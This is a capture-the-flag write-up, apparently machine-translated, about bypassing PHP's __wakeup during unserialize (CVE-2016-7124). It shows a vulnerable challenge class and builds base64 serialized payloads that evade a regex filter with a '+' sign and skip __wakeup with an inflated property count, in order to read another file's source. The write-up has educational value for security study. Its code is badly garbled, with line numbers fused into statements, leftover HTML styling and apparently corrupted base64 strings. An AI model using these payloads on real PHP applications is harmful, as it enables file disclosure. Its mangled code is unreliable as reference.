PHP Anti-Serialization Vulnerability Bypass Magic method __wakeup

Tag: Method attribute reg Serialize href Magic method images obj Lstat

0x01 Preface

The day before yesterday, the school's CTF competition, there is a question about PHP anti-serialization vulnerability bypass wakeup, and finally followed the big boys learned a wave posture.

Brief introduction to serialization and deserialization of 0x02 principle

Serialization: compressing complex data types into a string data types can be arrays, strings, objects, etc. functions: serialize ()

Deserialization: Restoring a variable function that was previously serialized: Unserialize ()

1 <?Php2$test 1 = "Hello World";3$test 2 =Array ("Hello", "World");4  $test 3 = 123456;5 echo serialize ( $test 1); // s:11: "Hello World"; serialize string 6 echo serialize ( $test 2); // a:2:{i:0;s:5: "Hello"; I:1;s:5: "World";} serializing an array 7 echo serialize ( $test 3); // i:123456; 8,             

 1 <? Php2 class Hello{3 public  $test 4 = "Hello,world" Span style= "COLOR: #000000" >; 4 }5  $test = new hello (); 6 echo serialize ( $test 7"              

Magic Method: The official documentation describes

__construct (), __destruct (), __call (), __callstatic (), __get (), __set (), __isset (), __unset (),

__wakeup () Magic method

__wakeup

Deserializing Public Private protect parameter produces different results

1 <?Php2Classtest{3Private$test 1= "Hello"; 4 public  $test 2= "Hello" Span style= "COLOR: #000000" >; 5 protected  $test 3= "Hello "; 6 }7  $test = new Test (8 echo serialize ( $test); //o:4: "Test": 3:{s:11: "Test Test1"; s:5: "Hello"; s:5: "Test2"; s:5: "Hello"; s:8: "* test3" ; s:5: "Hello";} 9,             

Defines three different types (private, public, protected) but with identical values, the serialized output does not have the same value o:4: "Test": 3:{s:11: "Test Test1"; s:5: "Hello"; s:5: "Test2"; s:5: "Hello"; s:8: "* test3"; s:5: "Hello";}

The output from the Web page fetch is o:4: "Test": 3:{s:11: "\00test\00test1"; s:5: "Hello"; s:5: "Test2"; s:5: "Hello"; s:8: "\00*\ 00test3 "; s:5:" Hello ";}

The parameter of private is deserialized and becomes \0test\0test1 public parameter becomes test2 protected parameter becomes \0*\0TEST3

0X03 Analysis

Paste the code I saw in the game

1 <?Php2Error_reporting (0);3Classsercet{4Private$file = ' index.php ';56Publicfunction __construct ($file){7$thisfile=$file;8}910function__destruct () {11EchoShow_source ($thisFileTrue);12}1314function__wakeup () {15$thisFile= ' index.php ';16}17}1819$cmd =cmd00;20if (!Isset$_get[$cmd])){21stEchoShow_source (' index.php ',True);22}23Else{24$cmd =Base64_decode ($_get[$cmd]);25if ((Preg_match ('/[oc]:\d+:/i ',$cmd)) | | (preg_match ('/flag/i ',  $cmd 26 echo "Are u gaoshing ?" ; 27 } 28 else{29  Unserialize ( $cmd 30 } 31 }32?> 33 //< Span style= "COLOR: #008000" >sercet in the_next.php          

The general idea is first that a class Sercet accept $cmd, bypassing the regular, deserialization. Overwrite the value of $file, show the_next.php source code, Bypass __wakeup

1 <?Php2Classsercet{3Private$file = ' index.php ';45Publicfunction __construct ($file){6$thisfile=$file;7}89function__destruct () {10EchoShow_source ($thisFileTrue);11}12 13 function __wakeup () {14  $this->file= ' index.php ' ; 15 } 16 } 17  $test = new Sercet ("the_next.php"  echo serialize ( $test Span style= "color: #000000"); O:6: "Sercet": 1:{s:12: "Sercet file"; s:12: "the_next.php";} 19,             

Bypass the regular can use the + number problem is how to bypass __weakup Baidu Once the wakeup method can be bypassed when the number of member attributes is greater than the actual number

The vulnerability details can be seen when the number of member properties is greater than the actual number to bypass the wakeup method O:6: "Sercet":1: That is, enter a value greater than 1 is the line such as o:6: "Sercet":2:

POC1:  tzornjoic2vyy2v0ijozontzojeyoiiac2vyy2v0agzpbguio3m6mti6inrozv9uzxh0lnbocci7fq==

In the process of replication I found that in the Hackbar directly o:+6: "Sercet": 1:{s:12: "Sercet file"; s:12: "the_next.php";} base64 encoding cannot bypass the need to be locally base64_ Encode generation to reproduce success Baidu has a wave

So POC2:  o:+6: "Sercet": 2:{s:12: "\00sercet\00file"; s:12: "the_next.php";}  tzornjoic2vyy2v0ijoyonttojeyoijcmdbzzxjjzxrcmdbmawxlijtzojeyoij0agvfbmv4dc5wahaio30kcgo=

Reference links

PHP Bugs 72663 Analysis (cve-2016-7124)

by Hitcon 20,161 web chat A chat PHP deserialization vulnerability

PHP Anti-Serialization Vulnerability Bypass Magic method __wakeup